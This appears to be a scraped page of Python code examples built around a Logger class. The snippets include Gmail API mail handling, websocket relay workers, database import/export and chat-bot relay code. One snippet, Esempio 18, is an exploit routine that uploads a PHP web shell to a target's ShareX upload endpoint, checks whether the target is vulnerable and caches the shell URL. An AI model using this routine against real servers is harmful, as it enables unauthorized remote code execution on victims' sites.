Esempio n. 1
0
    def apply_rule(self, rule, field, message_id, label_id, resource):

        """
        Busca una regla a aplicar en el subject del mensaje.
        :param rule: Regla a aplicar.
        :param field: Campo a aplicar la regla.
        :param message_id: Identificador del mensaje.
        :param label_id: Identificador de la label.
        :param resource: Recurso Gmail API.
        """

        from re import MULTILINE, IGNORECASE, search
        from core.logger import Logger

        matches = search(rule, field, MULTILINE | IGNORECASE)
        if matches:
            Logger.info("Labeling message: {}".format(message_id))
            # Modificamos el mensaje.
            resource.modify(
                id=message_id,
                body={
                    "addLabelIds": [label_id],  # Añadimos la etiqueta indicada.
                    "removeLabelIds": ["INBOX"]  # Quitamos el mensaje del inbox.
                }
            )
            return True
        return False
Esempio n. 2
0
    def _post_message(self, message):
        """
        Send the given message to the Facebook Messenger platform.
        :param message: The message to post.
        :return: The Facebook Messenger response.
        """

        from core.logger import Logger
        from google.appengine.api import urlfetch
        from json import dumps

        try:
            # Post the message to the Facebook Messenger platform.
            r = urlfetch.fetch(url=self._fb_messenger_api_url,
                               method=urlfetch.POST,
                               headers={"Content-Type": "application/json"},
                               payload=dumps(message))

            # Parse the response.
            response = r.content if r.status_code == 200 else None
            Logger.info("Facebook response:\n%s" % response)

        # In case of error.
        except BaseException as e:
            Logger.error(e)
            response = None

        # Return the parsed response.
        return response
Esempio n. 3
0
class GridnetWorker:
    def __init__(self, queue, url):
        self.logger = Logger(__name__)
        self.queue = queue
        self.url = url

        self.running = False
        self.ws = None

    def run(self):
        self.running = True
        self.ws = create_connection(self.url)
        self.logger.info("Connected to Gridnet!")

        result = self.ws.recv()

        while result and self.running:
            self.queue.append(DictObject(json.loads(result)))
            result = self.ws.recv()

        if self.ws.connected:
            self.ws.close()

        self.logger.info("Disconnected from Gridnet")

    def stop(self):
        self.running = False
        self.ws.close()
Esempio n. 4
0
    def authorize(self, email):

        """
        Autoriza el buzón de correo indicado.
        :param email: Identificador de buzón de correo.
        :return: El buzón de correo autorizado.
        """

        from managers.pending_authorization import PendingAuthorizationManager
        from core.logger import Logger

        try:
            entity = self.get_by_email(email)
            if entity is not None:
                Logger.info("It's authorized: {}".format(entity.is_authorized))
                # Marcamos el buzón como autorizado.
                entity.is_authorized = True
                entity.updated_by = self._user
                entity.put()
                # Obtenemos el diccionario que representa el buzón actualizado.
                entity = entity.to_dict()
                # Eliminamos la autorización.
                PendingAuthorizationManager.delete(entity["user_id"])
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
Esempio n. 5
0
class Channel(object):
    def __init__(self,
                 parent,
                 host='127.0.0.1',
                 port=6668,
                 name='undefined',
                 topic='undefined'):
        self.notify = Logger(
            'Channel')  # TODO - generate unique hashes for each channel?

        self.parent = parent

        self.host = host
        self.port = port
        self.name = name
        self.topic = topic

    def setup_channel(self):
        self.notify.warning('attempting to establish connection to server...')
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.connect((self.host, self.parent.port))
            s.sendall(bytes([1]))
            try:
                data = s.recv(4096)
                self.notify.debug('received data - {}'.format(data))
                self.handle_data(Packet(data))
            except Exception as e:
                raise Exception(e)

    def handle_data(self, packet):
        if packet.data[0] == 2:
            self.notify.info('successfully established connection to server!')
Esempio n. 6
0
    def _post_message(self, message):

        """
        Send the given message to the Facebook Messenger platform.
        :param message: The message to post.
        :return: The Facebook Messenger response.
        """

        from core.logger import Logger
        from google.appengine.api import urlfetch
        from json import dumps

        try:
            # Post the message to the Facebook Messenger platform.
            r = urlfetch.fetch(
                url=self._fb_messenger_api_url,
                method=urlfetch.POST,
                headers={"Content-Type": "application/json"},
                payload=dumps(message)
            )

            # Parse the response.
            response = r.content if r.status_code == 200 else None
            Logger.info("Facebook response:\n%s" % response)

        # In case of error.
        except BaseException as e:
            Logger.error(e)
            response = None

        # Return the parsed response.
        return response
Esempio n. 7
0
        def wrapper(request_handler, *args, **kwargs):

            # Almacenamos la URL de origen.
            self._origin = request_handler.request.path

            # Obtenemos las credenciales del usuario en sesión a partir de su almacén.
            storage = self.get_storage_for_user_in_request(request_handler)
            credentials = storage.get()
            Logger.info("Credentials...{}".format(credentials))
            Logger.info("Origin......{}".format(self._origin))
            # Si no existen credenciales de usuario almacenadas o bien están caducadas.
            if credentials is None or credentials.access_token_expired:

                # Creamos un flujo OAuth.
                self.create_flow(request_handler)
                # Obtenemos la URL de autorización.
                authorize_url = self._flow.step1_get_authorize_url()
                # Llevamos al usuario a la pantalla de autorización.
                output = request_handler.redirect(authorize_url)

            # En caso contrario, ejecutamos el método decorado.
            else:
                output = method(request_handler, *args, **kwargs)

            return output
Esempio n. 8
0
    def _correct_coords(self, data: ExtractedData):
        last_five_data = self._last_ten_data.last_n(
            self.CHECK_LAST_N)  # type: List[ExtractedData]
        avg_x = average([data.player_position[0] for data in last_five_data])
        avg_y = average([data.player_position[1] for data in last_five_data])
        actual_x = data.player_position[0]
        actual_y = data.player_position[1]

        deviation_x = abs(actual_x - avg_x) / avg_x
        deviation_y = abs(actual_y - avg_y) / avg_y

        if deviation_x > self.DEVIATION_THRESHOLD:
            X = [[data.player_position[1]] for data in last_five_data]
            Y = [[data.player_position[0]] for data in last_five_data]
            predictor = LinearRegression()
            predictor.fit(X, Y)
            new_x = predictor.predict([[data.player_position[1]]])[0][0]
            Logger.info("Correcting coordinate from {} to {}".format(
                actual_x, new_x))
            data.player_position = (new_x, data.player_position[1])

        if deviation_y > self.DEVIATION_THRESHOLD:
            X = [[data.player_position[0]] for data in last_five_data]
            Y = [[data.player_position[1]] for data in last_five_data]
            predictor = LinearRegression()
            predictor.fit(X, Y)
            new_y = predictor.predict([[data.player_position[0]]])[0][0]
            data.player_position = (data.player_position[0], new_y)
Esempio n. 9
0
class WebsocketRelayWorker:
    def __init__(self, inbound_queue, url):
        self.logger = Logger(__name__)
        self.inbound_queue = inbound_queue
        self.url = url
        self.ws = None

    def run(self):
        self.ws = create_connection(self.url)
        self.logger.info("Connected to Websocket Relay!")

        result = self.ws.recv()
        while result:
            self.inbound_queue.append(result)
            result = self.ws.recv()

        self.ws.close()

    def send_message(self, message):
        if self.ws:
            self.ws.send(message)

    def close(self):
        if self.ws:
            self.ws.close()
Esempio n. 10
0
class ArchiveDotOrg(object):
    def __init__(self):
        self.logger = Logger("archivedotorg").get()

    def is_valid_archive_url(self, url, date):

        archive_url = ARCHIVE_BASE_URL.format(date, url)

        try:
            response = urllib2.urlopen(archive_url)
        except urllib2.HTTPError, e:
            self.logger.info("Failed to open URL [{}]: [{}]".format(archive_url, e))
            return False

        if response.code != 200:
            self.logger.error('Received an error code requesting URL: [{}] code: [{}]'.format(archive_url, response.code))
            return False

        # if we don't get back an html file, it's probably not a 404 page, so just return true
        if response.headers.type != 'text/html':
            return True

        # only search for 404 if the page is html/ text
        html_doc = response.read()

        if ERROR_404 in html_doc:
            self.logger.debug("Archive URL [{}] is not valid as it contains 404:\n[{}]".format(archive_url, html_doc))
            return False

        return True
Esempio n. 11
0
class OakleyDbImporter(object):
    def __init__(self, connection_pool):
        self.logger = Logger(self.__class__.__name__).get()
        self.connection_pool = connection_pool

    def import_table(self, table_name, import_file):

        self.logger.info('importing table [{}] from file [{}]'.format(
            table_name, import_file))
        with open(import_file, 'r') as my_file:
            rr = UnicodeReader(my_file)

            query = "INSERT INTO {} (".format(table_name)

            cnx = self.connection_pool.get_connection()

            # first line is header, column names
            # second line is header, column types
            processed_header = False
            processed_types = False

            field_types = []
            for line in rr:
                if not processed_header:
                    processed_header = True
                    query += ','.join(line)
                    query += ') VALUES ('

                    data_str = '%s,' * len(line)

                    query += data_str.rstrip(',')
                    query += ')'
                elif processed_header and not processed_types:
                    processed_types = True
                    field_types = line
                else:
                    cursor = cnx.cursor()

                    for count in range(0, len(line)):
                        if field_types[count] == 'INT' or field_types[
                                count] == 'BIT':
                            line[count] = int(line[count])
                        elif field_types[count] == 'TIMESTAMP' and line[
                                count] == '0':
                            line[count] = 0

                    self.logger.debug(
                        "Updating model with query [%s] and data [%s]", query,
                        line)

                    cursor.execute(query, line)

                    cnx.commit()

                    cursor.close()

            self.connection_pool.release_connection(cnx)

            print 'Done'
Esempio n. 12
0
            def get(self):

                from core.logger import Logger

                # Almacenamos las credenciales de usuario contenidas en la petición.
                myself.store_credentials(self)
                Logger.info("Origin...{}".format(myself.get_origin()))
                # Navegamos a la URL de origen.
                self.redirect("/" if myself is None or myself.get_origin() is None else myself.get_origin())
Esempio n. 13
0
    def create_label(self, label):

        """
        Crea una nueva etiqueta, estableciendo el buzón de correo indicado como padre.
        :param label: Etiqueta.
        :return: La etiqueta creada.
        """

        from clients.gmail_api import GmailApiClient
        from core.logger import Logger
        from models.label import LabelDao

        try:

            # Comprobamos que los datos obligatorios vengan informados.
            if label.gmail_name is None:
                raise Exception("Label gmail_name cannot be empty.")
            # Establecemos el nombre de la etiqueta.
            gmail_name = label.gmail_name
            entity = self.get()
            # Obtenemos el acceso al recurso 'labels' de Gmail API.
            resource = GmailApiClient(entity.email).labels()
            # Obtenemos todas las etiquetas del buzón para, en caso de
            # existir ya, seleccionar dicha etiqueta en vez de crearla.
            mailbox_labels = resource.list()
            # Comprobamos si ya existe una etiqueta con el nombre propuesto.
            current_label = next((l for l in mailbox_labels["labels"] if l["name"].lower() == gmail_name.lower()), None)
            Logger.info("Current label: %s ", current_label)
            # Si no existe la creamos.
            if current_label is None:
                response = resource.create(body={
                    "name": gmail_name,
                    "labelListVisibility": "labelShow",
                    "messageListVisibility": "show"
                })
                entity.updated_by = self._user
                # Añadimos el identificador obtenido.
                label_dao = LabelDao(**{"gmail_name": gmail_name, "gmail_id": response["id"]})
                entity.labels.append(label_dao)
                Logger.info("Created label: {}".format(label_dao.to_dict()))
            else:
                raise Exception("This label is already in this account.")

            # manager.add_label(entity.gmail_id)
            entity.put()
        except Exception as e:
            Logger.error(e)
            raise e
        return entity
Esempio n. 14
0
    def get(self):

        """
        Obtiene los mensajes del buzón correspondiente al día recién cerrado.
        """

        from google.appengine.api import taskqueue
        from managers.sender_account import SenderAccountManager
        from managers.recipient_account import RecipientAccountManager
        from managers.group import GroupManager
        from core.logger import Logger
        from json import dumps

        # Obtenemos las cuentas emisoras activas y autorizadas.
        senders = filter(lambda x: x["is_active"] and x["is_authorized"], SenderAccountManager.list())
        # Obtenemos las cuentas receptoras activas y autorizadas.
        recipients = filter(lambda x: x["is_active"] and x["is_authorized"], RecipientAccountManager.list())
        # Obtenemos los grupos activos.
        active_groups = filter(lambda x: x["is_active"], GroupManager.list())
        # Por cada cuenta emisora en las cuentas emisoras activas y autorizadas.
        for sender in senders:
            Logger.info("Sender for...{}".format(sender))
            groups = []
            # Por cada grupo a los cuales pertenecen las cuenta emisora.
            for group in sender["groups"]:
                # Si encontramos algún grupo activo de los cuales pertenece la cuenta emisora, lo almacenamos.
                if any([k for k in active_groups if k["id"] == group["id"]]):
                    groups.append(group)
            # Si hemos encontrado algún grupo activo al cual pertenezca la cuenta emisora.
            if groups:
                sender_recipients = []
                # Por cada cuenta receptora en las cuentas receptoras activas y autorizadas.
                for recipient in recipients:
                    # Si encontramos algúna grupo entre los cuales pertenece la cuenta receptora, que esté activo
                    # y a la vez en la cuenta emisora, lo almacenamos.
                    if filter(lambda x: x in recipient["groups"], groups):
                        sender_recipients.append(recipient)
                        Logger.info("sender-recipient...{}".format(sender_recipients))
                # Creamos la task.
                taskqueue.add(
                    queue_name="message-management",
                    url="/tasks/message/management",
                    method="POST",
                    params={
                        "recipient_accounts": dumps(sender_recipients),
                        "sender_account": dumps(sender)
                    }
                )
Esempio n. 15
0
class GridnetWorker:
    def __init__(self, queue, url):
        self.logger = Logger(__name__)
        self.queue = queue
        self.url = url

    def run(self):
        ws = create_connection(self.url)
        self.logger.info("Connected to Gridnet!")

        result = ws.recv()
        while result:
            self.queue.append(DictObject(json.loads(result)))
            result = ws.recv()

        ws.close()
Esempio n. 16
0
    def __init__(self, user):

        """
        Constructor de la clase.
        :param user: Usuario cuyas credenciales se usarán para conectar con Gmail API.
        :type user: str.
        """

        from core.logger import Logger

        Logger.info("Initializing gmail client...")
        # Obtenemos las credenciales para el usuario dado.
        credentials = StorageByKeyName(CredentialsModel, user, "credentials").get()
        # Securizamos el cliente HTTP con ellas.
        http = credentials.authorize(httplib2.Http())
        # Construimos el acceso a los recursos de Gmail API.
        self.resource = build("gmail", "v1", http=http)
        Logger.info("Gmail client initialized")
Esempio n. 17
0
class WebsocketRelayWorker:
    def __init__(self, inbound_queue, url, user_agent):
        self.logger = Logger(__name__)
        self.inbound_queue = inbound_queue
        self.url = url
        self.ws = None
        self.user_agent = user_agent
        self.is_running = False

    def run(self):
        self.ws = create_connection(self.url,
                                    header={"User-Agent": self.user_agent})
        self.logger.info("Connected to Websocket Relay!")
        self.is_running = True

        try:
            result = self.ws.recv()
            while result:
                obj = DictObject(json.loads(result))
                self.inbound_queue.append(obj)
                result = self.ws.recv()
        except WebSocketConnectionClosedException as e:
            if self.is_running:
                self.logger.error("", e)

        self.ws.close()

    def send_message(self, message):
        if self.ws:
            self.ws.send(message)

    def send_ping(self):
        try:
            if self.ws:
                self.ws.ping()
        except WebSocketConnectionClosedException as e:
            self.logger.error("", e)
            self.close()

    def close(self):
        if self.ws:
            self.is_running = False
            self.ws.close()
Esempio n. 18
0
    def upload_shell(upload_url, form_name, secret, field_name, verbose,
                     cache_enabled):
        """ Upload shell to target site """
        res = ShareX.upload(upload_url,
                            io.BytesIO(Shell.PAYLOAD.encode()),
                            file_name=Exploit.MAGIC,
                            form_name=form_name,
                            secret=secret,
                            field_name=field_name)

        res_code = res.status_code
        res_body = res.text.strip()

        if res.status_code != 200:
            if res_code == 403:
                Logger.error('target blocked file upload. waf?')

            elif res_code == 404:
                Logger.error('file upload endpoint not found')

            else:
                Logger.error('unknown response code')

        for error in ShareX.Errors:
            if error.value['content'].lower() in res_body.lower():
                reason = error.value['reason'].lower()
                Logger.error(f'failed to upload shell: \x1b[95m{reason}')

        shell_url = Exploit.get_shell_url(res_body, upload_url)

        if not Exploit.check(shell_url):
            Logger.error('target does not appear vulnerable')

        Logger.success('php web shell uploaded')

        if verbose:
            Logger.info(f'location: \x1b[95m{shell_url}')

        if cache_enabled:
            Cache.save(upload_url, shell_url)
            Logger.success('results saved to cache')

        return shell_url
Esempio n. 19
0
    def send_message(self, message, user):

        """
        Envía el mensaje dado.
        """

        try:
            # Si el mensaje no viene dado como corresponde.
            if not isinstance(message, GmailApiClient.MessageMapper):
                raise TypeError("The given message is not an instance of Message class.")
            Logger.info("Sending the message...")
            Logger.info("Message: {}".format(message))
            # Obtenemos el mensaje en bruto y lo enviamos.
            response = self.messages().send(
                userId=user,
                body={"raw": message.get_raw_message()}
            )
        except (errors.HttpError, TypeError), e:
            Logger.error(e)
            raise e
Esempio n. 20
0
    def record(self, record_data: Dict[str, str]):
        self.waypoints = {'format': record_data['wp_format'], 'waypoints': []}

        signal.signal(signal.SIGINT,
                      lambda *args: self.screen.stop_capturing())
        signal.signal(signal.SIGTERM,
                      lambda *args: self.screen.stop_capturing())

        try:
            for screen in self.screen.capture():
                data = self.extractor.extract_data_from_screen(screen)
                self._data_sanitizer.sanitize_data(data)

                current_position = Position(data.player_position[0],
                                            data.player_position[1])
                if not self.waypoints['waypoints']:
                    self.waypoints['waypoints'].append(data.player_position)
                else:
                    last_recorded_coordinates = self.waypoints['waypoints'][
                        len(self.waypoints['waypoints']) - 1]
                    last_recorded_position = Position(
                        last_recorded_coordinates[0],
                        last_recorded_coordinates[1])
                    if current_position.calculate_distance_from(
                            last_recorded_position
                    ) >= GlobalConfig.config.core.difference_between_two_waypoints:
                        Logger.info('Recording position: ' +
                                    str(data.player_position))
                        self.waypoints['waypoints'].append(
                            data.player_position)
        finally:
            Logger.info('Saving file to: {}'.format(
                record_data.get('waypoint', 'NO PATH')))

            file = Path(record_data['waypoint'])
            if file.is_file():
                self._save_if_file_exist(record_data)
            else:
                self._save_if_file_not_exist(record_data)
Esempio n. 21
0
    def delete_rule(self, label_id, rule_id):

        """
        Elimina una regla de la label indicada.
        :param label_id: Identificador de la label.
        :param rule_id: Identificador de la regla.
        :return: El buzón actualizado.
        """

        from core.logger import Logger

        entity = self.get()
        for idx, label in enumerate(entity.labels):
            if label.gmail_id == label_id:
                entity.labels[idx].rules = filter(lambda x: int(x.id) != int(rule_id), label.rules)
                Logger.info("rules...{}".format(filter(lambda x: int(x.id) != int(rule_id), label.rules)))
                entity.updated_by = self._user
                entity.put()
                break
        else:
            raise Exception()
        return entity
Esempio n. 22
0
    def update_label(self, label):

        """
        Actualiza la label indicada.
        :param label: Diccionario que representa la label.
        :return: El buzón modificado.
        """

        from clients.gmail_api import GmailApiClient
        from core.logger import Logger

        if "gmail_name" not in label or not label["gmail_name"]:
            raise Exception("The label must have a name.")
        if "gmail_id" not in label or not label["gmail_id"]:
            raise Exception("The label must have an id.")
        Logger.info("Gmail name...{} ... GmailID...{}".format(label["gmail_name"], label["gmail_id"]))
        entity = self.get()
        resource = GmailApiClient(entity.email).labels()
        for i in entity.labels:
            if i.gmail_id == label["gmail_id"]:
                updated_label = resource.update(
                    id=i.gmail_id,
                    body={
                        "name": label["gmail_name"],
                        "labelListVisibility": "labelShow",
                        "messageListVisibility": "show"
                    }
                )
                Logger.info("updated label:{}".format(updated_label))
                entity.updated_by = self._user
                i.gmail_name = label["gmail_name"]
                break
        else:
            raise Exception("This label is not in this account.")

        entity.updated_by = self._user
        entity.put()
        return entity
Esempio n. 23
0
    def post(self):

        """
        Obtiene los mensajes del buzón correspondiente al día recién cerrado.
        """

        from core.logger import Logger
        from json import loads
        from clients.gmail_api import GmailApiClient

        try:
            # Obtenemos los datos de la petición.
            sender = loads(self.request.get("sender_account"))
            recipients = loads(self.request.get("recipient_accounts"))
            # Obtenemos los mensajes de la cuenta emisora.
            messages = self.find_messages(sender["email"])
            resource = GmailApiClient(sender["email"]).messages()
            if messages:
                # Por cada mensaje encontrado.
                for message in messages:
                    # Creamos un mensaje.
                    mssg = GmailApiClient.Message(resource.get(id=message["id"]))
                    # Creamos un mensaje para mappear el mensaje obtenido.
                    mssg2 = GmailApiClient.MessageMapper()
                    Logger.info(u"From address: {}".format(mssg.get_from()))
                    Logger.info(u"Sender address: {}".format(mssg.get_sender()))
                    # Seteamos los campos que nos interesan.
                    mssg2.set_html_body(mssg.get_html_body())
                    mssg2.set_subject(mssg.get_from() + "$ " + mssg.get_subject())
                    mssg2.add_header("Return-Path", u"{}".format(mssg.get_from()))
                    mssg2.add_header("X-Env-Sender", u"{}".format(mssg.get_from()))
                    mssg2.from_address = u"{}".format(mssg.get_from())
                    Logger.info(u"New from: {}".format(mssg2.from_address))
                    # Agregamos los buzones receptores.
                    for recipient in recipients:
                        mssg2.add_recipient(recipient["email"])
                    sender_email = sender["email"]
                    response = GmailApiClient(sender_email).send_message(mssg2, sender_email)
                    # Si obtenemos respuesta, borramos los mensajes del buzón emisor.
                    if response:
                        GmailApiClient(sender_email).messages().delete(
                            id=message["id"],
                            userId=sender_email
                        )

        except Exception as e:
            Logger.error(e)
Esempio n. 24
0
class OakleyForumDbExporter(object):
    def __init__(self, connection_pool):
        self.logger = Logger(self.__class__.__name__).get()
        self.connection_pool = connection_pool

    def export_database(self, export_path):
        export_name = 'sunglasses'

        self.logger.info(
            "Exporting whole database to export path [{}]".format(export_path))

        query = "select f.name as family, s.name as model,m.name as colorway, m.framecolour as frame, l.name as lens, m.listprice," \
                " m.sku, m.releasedate, m.retiredate, m.note, m.exclusive, m.signature from model m join lens l on" \
                " m.lensid = l.id join style s on m.styleid=s.id join familystylemap x on x.styleid = s.id join" \
                " family f on x.familyid = f.id"

        cnx = self.connection_pool.get_connection()
        cursor = cnx.cursor()

        cursor.execute(query)

        file_name = os.path.join(export_path, '{}.csv'.format(export_name))

        self.logger.info("Export filename is [{}]".format(file_name))

        headers = 'Type,Family,Model,Colorway,Frame,Lens,List Price,SKU,Release Date,Retire Date,Note:,Exclusive,Signature'.split(
            ',')

        with open(file_name, 'wb') as my_file:
            wr = UnicodeWriter(my_file)
            # header
            wr.writerow(headers)

            for item in cursor:
                item_list = list(item)
                item_list.insert(0, 'Sunglasses')
                for count in range(0, len(item_list)):
                    if item_list[count] is None:
                        item_list[count] = ''

                wr.writerow(item_list)

        cursor.close()
        self.connection_pool.release_connection(cnx)

        self.logger.info("Completed exporting table [{}]".format(export_name))
Esempio n. 25
0
class DriverHandler(object):

    # 根据配置文件配置初始化 webdriver
    def init_driver(self, log_name):
        # 读入配置文件
        config_handler = ConfigParser()
        path = os.path.dirname(os.path.abspath('.')) + '/config.ini'
        config_handler.read(path)

        # 获取日志记录器
        self.logger = Logger(logger=log_name).get_logger()

        # 获取配置文件属性
        browser_name = config_handler.get('BrowserType', 'BrowserName')
        self.logger.info('You have choose the %s browser to driver.' % browser_name)
        self.url = config_handler.get('TestDomain', 'URL')
        self.logger.info('The testing Domain is %s' % self.url)
        exe_file = config_handler.get('WebDriver', 'Path')
        quiet_mode = config_handler.get('QuietMode', 'value')

        if browser_name == 'Firefox':
            self.driver = webdriver.Firefox()
        elif browser_name == 'Chrome':
            # 谷歌浏览器是否启用静默模式
            if (int(quiet_mode) == 1):
                options = webdriver.ChromeOptions()
                options.add_argument('headless')
                self.driver = webdriver.Chrome(options=options)
            else:
                self.driver = webdriver.Chrome(exe_file)
        elif browser_name == 'IE':
            self.driver = webdriver.Ie(exe_file)

        return self.driver

    # 关闭并退出浏览器
    def close_driver(self):
        self.logger.info('It\'s time to close the webdriver')
        self.driver.quit()
Esempio n. 26
0
                if retry_interval < 60 * 30:
                    retry_interval = int(retry_interval * 1.3)

                # Ensure we never go over 30 minutes
                if retry_interval > 60 * 30:
                    retry_interval = 60 * 30

                log.warn('Unable to authentication with trakt.tv, will try again in %s seconds', retry_interval)
                schedule(cls.authenticate, retry_interval, retry_interval)
            else:
                log.warn('Authentication failed, username or password is incorrect')

            Main.update_config(False)
            return False

        log.info('Authentication successful')

        Main.update_config(True)
        return True

    def start(self):
        # Check for authentication token
        log.info('X-Plex-Token: %s', 'available' if os.environ.get('PLEXTOKEN') else 'unavailable')

        # Validate username/password
        spawn(self.authenticate)

        # Start modules
        names = []

        for module in self.modules:
Esempio n. 27
0
    logger.info("upgrading db to version '%d'" % v)
    db.exec("UPDATE db_version SET version = ? WHERE file = 'db_version'", [v])
    return v


def get_version():
    row = db.query_single(
        "SELECT version FROM db_version WHERE file = 'db_version'")
    if row:
        return int(row.version)
    else:
        return 0


version = get_version()
logger.info("db at version '%d'" % version)

if version == 0:
    db.exec(
        "INSERT INTO db_version (file, version, verified) VALUES ('db_version', ?, 1)",
        [0])
    version = update_version(version)

if version == 1:
    if table_exists("org_member"):
        db.exec(
            "ALTER TABLE org_member ADD COLUMN last_seen INT NOT NULL DEFAULT 0"
        )
    version = update_version(version)

if version == 2:
Esempio n. 28
0
        def __create_message(self):

            """
            Construye un mensaje -email- con los datos almacenados en la instancia actual.
            :return: El mensaje como MIMEText o MIMEMultipart.
            """

            try:
                Logger.info("Generating the message...")
                # Si se han indicado cuerpos tanto en texto plano como en HTML.
                if self.plain_body is not None and self.html_body is not None:
                    message = MIMEMultipart("alternative")
                    message.attach(MIMEText(self.plain_body, "plain"))
                    message.attach(MIMEText(self.html_body, "html"))
                # Si solo se ha indicado el cuerpo en texto plano.
                elif self.plain_body is not None:
                    message = MIMEText(self.plain_body, "plain")
                # Si solo se ha indicado el cuerpo en HTML.
                else:
                    message = MIMEText(self.html_body, "html")
                Logger.info("Appending the attachments...")
                # Si existen adjuntos.
                if len(self.attachments) > 0:
                    # El mensaje pasa a ser un MIMEMultipart con los cuerpos adjuntos.
                    aux = message
                    message = MIMEMultipart()
                    message.attach(aux)
                    # Por cada adjunto.
                    for filename, content in self.attachments:
                        # Obtenemos su mimetype.
                        mimetype, encoding = mimetypes.guess_type(filename)
                        if mimetype is None or encoding is not None:
                            mimetype = "application/octet-stream"
                        maintype, subtype = mimetype.split("/", 1)
                        # Construimos el part correspondiente al adjunto en base al mimetype.
                        if maintype == "text":
                            part = MIMEText(content, _subtype=subtype)
                        elif maintype == "image":
                            part = MIMEImage(content, _subtype=subtype)
                        elif maintype == "audio":
                            part = MIMEAudio(content, _subtype=subtype)
                        else:
                            part = MIMEBase(maintype, subtype)
                            part.set_payload(content)
                        part.add_header("Content-Disposition", "attachment", filename=filename)
                        # Añadimos el part del adjunto al principal.
                        message.attach(part)
                Logger.info("Appending the headers...")
                # Añadimos las cabeceras comunes.
                message["Subject"] = self.subject
                message["From"] = self.from_address
                message["To"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.to_recipients])
                message["Cc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.cc_recipients])
                message["Bcc"] = ", ".join([r[0] if r[1] is None else "%s <%s>" % r for r in self.bcc_recipients])
                Logger.info(u"Final from:{}".format(message["From"]))
                # Si existen otras cabeceras.
                if len(self.headers) > 0:
                    # Las añadimos al part principal.
                    for key, value in self.headers:
                        message[key] = value
                Logger.info("Message generated successfully")
                Logger.info("The message: {}".format(message))

            except Exception as e:
                Logger.error(e)
                raise e
            return message
Esempio n. 29
0
class AllianceRelayController:
    relay_channel_id = None
    MESSAGE_SOURCE = "alliance"

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot: Tyrbot = registry.get_instance("bot")
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.character_service: CharacterService = registry.get_instance(
            "character_service")
        self.message_hub_service = registry.get_instance("message_hub_service")
        self.public_channel_service = registry.get_instance(
            "public_channel_service")

    def pre_start(self):
        self.message_hub_service.register_message_source(self.MESSAGE_SOURCE)

    def start(self):
        self.setting_service.register(
            self.module_name, "arelay_symbol", "@",
            TextSettingType(["!", "#", "*", "@", "$", "+", "-"]),
            "Symbol for external relay")

        self.setting_service.register(
            self.module_name, "arelay_symbol_method", "with_symbol",
            TextSettingType(["Always", "with_symbol", "unless_symbol"]),
            "When to relay messages")

        self.setting_service.register(self.module_name, "arelay_bot", "",
                                      TextSettingType(allow_empty=True),
                                      "Bot for alliance relay")

        self.setting_service.register(self.module_name, "arelay_enabled",
                                      False, BooleanSettingType(),
                                      "Enable the alliance relay")

        self.setting_service.register(self.module_name,
                                      "arelay_guild_abbreviation", "",
                                      TextSettingType(allow_empty=True),
                                      "Abbreviation to use for org name")

        self.setting_service.register(self.module_name, "arelay_color",
                                      "#C3C3C3", ColorSettingType(),
                                      "Color of messages from relay")

        self.setting_service.register(
            self.module_name, "arelay_command_prefix", "!agcr",
            TextSettingType(["!agcr", "gcr", "grc"]),
            "Command prefix to use when sending and receiving messages")

        self.message_hub_service.register_message_destination(
            self.MESSAGE_SOURCE, self.handle_relay_hub_message,
            ["org_channel"], [self.MESSAGE_SOURCE])

        self.bot.register_packet_handler(
            server_packets.PrivateChannelInvited.id,
            self.handle_private_channel_invite, 100)
        self.bot.register_packet_handler(
            server_packets.PrivateChannelMessage.id,
            self.handle_private_channel_message)

    def handle_private_channel_invite(
            self, conn: Conn, packet: server_packets.PrivateChannelInvited):
        if not conn.is_main:
            return

        if not self.setting_service.get("arelay_enabled").get_value():
            return

        channel_name = self.character_service.get_char_name(
            packet.private_channel_id)
        if self.setting_service.get_value(
                "arelay_bot").lower() == channel_name.lower():
            conn.send_packet(
                client_packets.PrivateChannelJoin(packet.private_channel_id))
            self.logger.info("Joined private channel {channel}".format(
                channel=channel_name))
            self.relay_channel_id = packet.private_channel_id

    def handle_private_channel_message(
            self, conn: Conn, packet: server_packets.PrivateChannelMessage):
        if not conn.is_main:
            return

        if not self.setting_service.get("arelay_enabled").get_value():
            return

        # ignore packets from the bot's own private channel and from the bot itself
        if packet.private_channel_id == conn.get_char_id(
        ) or packet.char_id == conn.get_char_id():
            return

        message = packet.message.lstrip()
        command_prefix = self.setting_service.get(
            "arelay_command_prefix").get_value()
        if not message.startswith(command_prefix + " "):
            return

        message = message[len(command_prefix) + 1:]
        formatted_message = self.setting_service.get(
            "arelay_color").format_text(message)

        # sender is not the bot that sent it, but rather the original char that sent the message
        # given the format of !agcr messages, it could be possible to parse the sender for the message
        # but currently this is not done
        sender = None

        self.message_hub_service.send_message(self.MESSAGE_SOURCE, sender,
                                              None, formatted_message)

    def handle_relay_hub_message(self, ctx):
        if not self.setting_service.get("arelay_enabled").get_value():
            return

        method = self.setting_service.get_value("arelay_symbol_method")
        symbol = self.setting_service.get_value("arelay_symbol")
        plain_msg = ctx.message or ctx.formatted_message

        if method == "unless_symbol" and plain_msg.startswith(symbol):
            return
        elif method == "with_symbol":
            if not plain_msg.startswith(symbol):
                return
            else:
                # trim symbol from message
                plain_msg = plain_msg[len(symbol):]

        conn = self.bot.get_primary_conn()
        org = self.setting_service.get_value(
            "arelay_guild_abbreviation") or conn.get_org_name(
            ) or conn.get_char_name()
        msg = "[{org}] {char}: {msg}".format(org=org,
                                             char=ctx.sender.name,
                                             msg=plain_msg)

        self.send_message_to_alliance(msg)

    def send_message_to_alliance(self, msg):
        if self.relay_channel_id:
            command_prefix = self.setting_service.get(
                "arelay_command_prefix").get_value()
            self.bot.send_private_channel_message(
                command_prefix + " " + msg,
                private_channel_id=self.relay_channel_id,
                add_color=False,
                conn=self.bot.get_primary_conn())
Esempio n. 30
0
class PublicChannelService:
    ORG_CHANNEL_COMMAND_EVENT = "org_channel_command"
    ORG_CHANNEL_MESSAGE_EVENT = "org_channel_message"
    ORG_MSG_EVENT = "org_msg"
    ORG_CHANNEL_COMMAND = "org"

    ORG_MSG_CHANNEL_ID = 42949672961

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.db = registry.get_instance("db")
